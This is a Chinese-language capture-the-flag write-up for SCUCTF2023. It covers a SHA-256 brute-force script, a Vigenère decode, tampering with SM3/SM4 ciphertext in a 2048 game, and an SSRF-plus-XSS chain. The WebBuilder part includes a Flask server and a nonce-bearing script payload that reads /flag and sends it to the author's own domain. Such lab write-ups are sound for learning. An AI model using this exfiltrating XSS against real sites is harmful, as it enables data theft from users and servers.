SCUCTF2023

我就做一上午的时间,做了几个会的~

SimpleHash

使用sha256单向散列,直接暴力破解,也没啥说的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import hashlib

given_hashes = [
"8de0b3c47f112c59745f717a626932264c422a7563954872e237b223af4ad643",
"6b23c0d5f35d1b11f9b683f0b0a617355deb11277d91ae091d399c655b87940d",
"a25513c7e0f6eaa80a3337ee18081b9e2ed09e00af8531c8f7bb2542764027e7",
"6b23c0d5f35d1b11f9b683f0b0a617355deb11277d91ae091d399c655b87940d",
"e632b7095b0bf32c260fa4c539e9fd7b852d0de454e9be26f24d0d6f91d069d3",
"f67ab10ad4e4c53121b6a5fe4da9c10ddee905b978d3788d2723d7bfacbe28a9",
"021fb596db81e6d02bf3d2586ee3981fe519f275c0ac9ca76bbcf2ebb4097d96",
"c4694f2e93d5c4e7d51f9c5deb75e6cc8be5e1114178c6a45b6fc2c566a0aa8c",
"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326",
"ca978112ca1bbdcafac231b39a23dc4da786eff8147c4e72b9807785afee48bb",
"454349e422f05297191ead13e21d3db520e5abef52055e4964b82fb213f593a1",
"de7d1b721a1e0632b7cf04edf5032c8ecffa9f9a08492152b926f1a5a7e765d7",
"62c66a7a5dd70c3146618063c344e531e6d4b59e379808443ce962b3abd63c5a",
"5feceb66ffc86f38d952786c6d696c79c2dbc239dd4e91b46729d73a27fb57e9",
"1b16b1df538ba12dc3f97edbb85caa7050d46c148134290feba80f8236c83db9",
"5feceb66ffc86f38d952786c6d696c79c2dbc239dd4e91b46729d73a27fb57e9",
"cd0aa9856147b6c5b4ff2b7dfee5da20aa38253099ef1b4a64aced233c9afe29",
"ca978112ca1bbdcafac231b39a23dc4da786eff8147c4e72b9807785afee48bb",
"4b227777d4dd1fc61c6f884f48641d02b4d121d3fd328cb08b5531fcacdabf8a",
"ca978112ca1bbdcafac231b39a23dc4da786eff8147c4e72b9807785afee48bb",
"454349e422f05297191ead13e21d3db520e5abef52055e4964b82fb213f593a1",
"6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b",
"bb7208bc9b5d7c04f1236a82a0093a5e33f40423d5ba8d4266f7092c3ba43b62",
"d10b36aa74a59bcf4a88185837f658afaf3646eff2bb16c3928d0e9335e945d2"
]

def find_original_char_for_hash(target_hash):
for i in range(256):
char = chr(i)
char_hash = hashlib.sha256(char.encode()).hexdigest()
if char_hash == target_hash:
return char
return None

original_chars = [find_original_char_for_hash(h) for h in given_hashes]

print(''.join(original_chars))

Vigenere

把得到的文本直接解码就行

image-20231202163825572

2048

完成游戏之后抓包,发现有两个不可控的元素,一个是secret,一个是encrypted,盲猜是密钥和密文

image-20231202094600372

具体加密过程直接查看网页源码,发现引入了sm3.js和sm4.js,那就是这两个算法,具体的操作继续找js文件,在js中找到如下函数

image-20231202094549784

然后为了方便,直接在控制台调用这两个函数,使用他们的加密逻辑找到999999对应的密文,替换就好

image-20231202094534741

image-20231202094522738

Guideline

EnjoyTheCryptography

WebBuilder

首先看到页面中的提示,大概流程就是:验证你后端的几个接口(考察你开发) ==> 通过SSRF和XSS获得到flag大概就是这些流程。有几个注意的点

  • 我们直接访问/flag不现实,所有需要SSRF进行访问同时获取到他访问后的数据

    image-20231202161518386

  • 构造script标签时,需要添加一个标签image-20231202161714710

因为image-20231202161730491

以下是第一步的后端代码,为了方便就直接使用的Flask,说实话还是不太熟练,SpringBoot是最好的Web框架!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
@app.route('/test')
def hello_world(): # put application's code here
name = request.args.get('name')
length = len(name)
response_data = {'len': length,'code':200}


return jsonify(response_data)

@app.route('/redirect')
def redirect():
referer = request.headers.get('Referer')
root_url = request.root_url
print(root_url)
print(referer)
if referer == "http://evil/":
response = make_response('this is forbidden', 404)
else:
response = make_response('Location header set.', 302)
response.headers['location'] = referer + "success"
return response

@app.route('/js')
def redirectjs():
pass

@app.route('/getFlag')
def flag():
pass

if __name__ == '__main__':
app.run(host='0.0.0.0',port=6379)

然后我们注意到这两个地方

image-20231202161939890

image-20231202161952443

逻辑就是把你服务器的响应放到一个map里,当你访问js这个接口之后,取出来,并返回到前端页面中,但是这里缺少转义,存在XSS漏洞

所以我们就构造xss的payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<script nonce="XssFun">
fetch('/flag')
.then(response => response.text())
.then(text => fetch('http://own domain/getFlag?flag=' + text))
.then(response => {
if (!response.ok) {
throw new Error('Network response was not ok');
}
return response.text();
})
.then(finalResponse => {
console.log('Response from the second server:', finalResponse);
})
.catch(error => console.error('Error:', error));
</script>

在我们自己的后端直接取出url的flag就行

所以完整代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from flask import Flask, make_response, request, jsonify, url_for,Response

app = Flask(__name__)


@app.route('/test')
def hello_world(): # put application's code here
name = request.args.get('name')
length = len(name)
response_data = {'len': length,'code':200}


return jsonify(response_data)

@app.route('/redirect')
def redirect():
referer = request.headers.get('Referer')
root_url = request.root_url
print(root_url)
print(referer)
if referer == "http://evil/":
response = make_response('this is forbidden', 404)
else:
response = make_response('Location header set.', 302)
response.headers['location'] = referer + "success"
return response

@app.route('/js')
def redirectjs():
return "<script nonce=\"XssFun\">fetch('/flag').then(response => response.text()).then(text => fetch('http://own domain/getFlag?flag='+text)).then(response => {if (!response.ok) {throw new Error('Network response was not ok');} return response.text();}).then(finalResponse => {console.log('Response from the second server:', finalResponse);}).catch(error => console.error('Error:', error));</script>"


@app.route('/getFlag')
def flag():
data = request.args.get("flag")
print(data)
return "success"

if __name__ == '__main__':
app.run(host='0.0.0.0',port=6379)


然后先验证我们的接口,拿到我们的uuid

image-20231202162637379

访问http://赛题url/report?uuid=eb694833-1f7a-4251-a1ec-757de587f3a7,查看后端的日志就可以得到flag

image-20231202162814506

image-20231202162753091